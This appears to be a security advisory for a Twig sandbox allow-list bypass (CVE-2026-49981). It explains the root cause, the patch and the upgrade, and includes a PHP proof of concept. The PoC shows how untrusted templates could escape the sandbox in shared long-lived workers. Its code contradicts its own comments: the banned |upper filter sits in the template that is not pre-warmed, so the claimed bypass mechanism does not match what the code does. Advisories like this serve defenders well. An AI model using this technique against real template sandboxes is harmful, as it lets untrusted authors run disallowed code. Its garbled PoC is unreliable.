CVE-2026-49981: Twig Sandbox Filter/Tag/Function Allow-list Bypass via Cached Template
Twig's sandbox allow-list for filters, tags, and functions can be silently skipped when a template is loaded before sandboxing is active, letting untrusted templates call anything they want…
The problem
Each compiled Twig Template subclass runs its checkSecurity() method exactly once, from the constructor, gated by whether the sandbox is active at that moment. The result is then cached in Environment::$loadedTemplates for the lifetime of the process.
Any later sandbox state change on the same Environment (toggling enableSandbox()/disableSandbox(), swapping the policy via setSecurityPolicy(), or simply having a parent or included template pre-warmed before a sandboxed render reaches it) leaves the stale, bypass verdict in place.
Filters, tags, and functions not on the allow-list run without restriction.
Proof of concept
A working proof-of-concept for CVE-2026-49981 in twig/twig, with the exact payload below.
<?php
// Shared Environment used for both non-sandboxed and sandboxed renders
// (typical in FrankenPHP, RoadRunner, or Symfony Messenger workers)
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
$loader = new ArrayLoader([
// layout.html.twig uses the banned |upper filter
'layout.html.twig' => '{% block body %}{% endblock %}',
// attacker.html.twig extends layout and calls |upper (not in allow-list)
'attacker.html.twig' => '{% extends "layout.html.twig" %}'
. '{% block body %}{{ secret|upper }}{% endblock %}',
]);
$twig = new Environment($loader);
// Step 1: non-sandboxed render pre-warms layout.html.twig into $loadedTemplates.
// checkSecurity() runs here with isSandboxed() === false => no-op verdict cached.
$twig->render('layout.html.twig');
// Step 2: enable the sandbox with a policy that explicitly bans |upper.
$policy = new SecurityPolicy(
allowedTags: ['extends', 'block'],
allowedFilters: ['escape'], // 'upper' is NOT allowed
allowedFunctions: [],
allowedProperties: [],
allowedMethods: [],
);
$twig->addExtension(new SandboxExtension($policy, sandboxed: true));
// Step 3: sandboxed render of attacker template.
// layout.html.twig is already in $loadedTemplates; its cached no-op verdict
// is reused, so |upper runs despite not being in the allow-list.
echo $twig->render('attacker.html.twig', ['secret' => 'classified']);
// Output: CLASSIFIED <-- sandbox bypass confirmedThe root cause is CWE-693 (Protection Mechanism Failure): checkSecurity() was called once from the Template constructor and the result was permanently cached, making it sticky across sandbox state changes on the same Environment instance.
The patch (PR #558) moves the check out of the constructor entirely. It introduces a public ensureSecurityChecked() method that re-evaluates SandboxExtension::isSandboxed($source) against the **current** state and calls checkSecurity() only when sandboxing is active.
This method is now invoked at every entry point that can reach a Template: yield(), yieldBlock(), getParent(), and getTemplateForMacro(). Because checkSecurity() walks compile-time-static arrays, the per-render overhead is negligible.
Note: method, property, and __toString allow-lists were never affected because checkMethodAllowed(), checkPropertyAllowed(), and ensureToStringAllowed() already re-read current state on every call.
The fix
Upgrade to twig/twig 3.27.0 or later (3.27.1 is the current stable release with additional regression fixes). Run: composer require twig/twig:^3.27.1
As an architectural measure, avoid sharing a single Twig Environment between sandboxed and non-sandboxed renders in long-lived workers. Point a dedicated sandboxed Environment at a restricted loader for untrusted template authors instead.
Reported by Fabien Potencier.
Related research
- high · 7.1CVE-2026-48507CVE-2026-48507: Snipe-IT Bulk User Edit Incorrect Authorization
- critical · 9.4CVE-2026-63221CVE-2026-63221: CodeIgniter4 Query Builder SQL Injection via deleteBatch() and where()
- high · 7.5CVE-2026-63222CVE-2026-63222: CodeIgniter4 Path Traversal in UploadedFile::move()
- critical · 9.8CVE-2026-63223CVE-2026-63223: CodeIgniter4 Uploaded File Extension Validation Bypass in is_image and mime_in Rules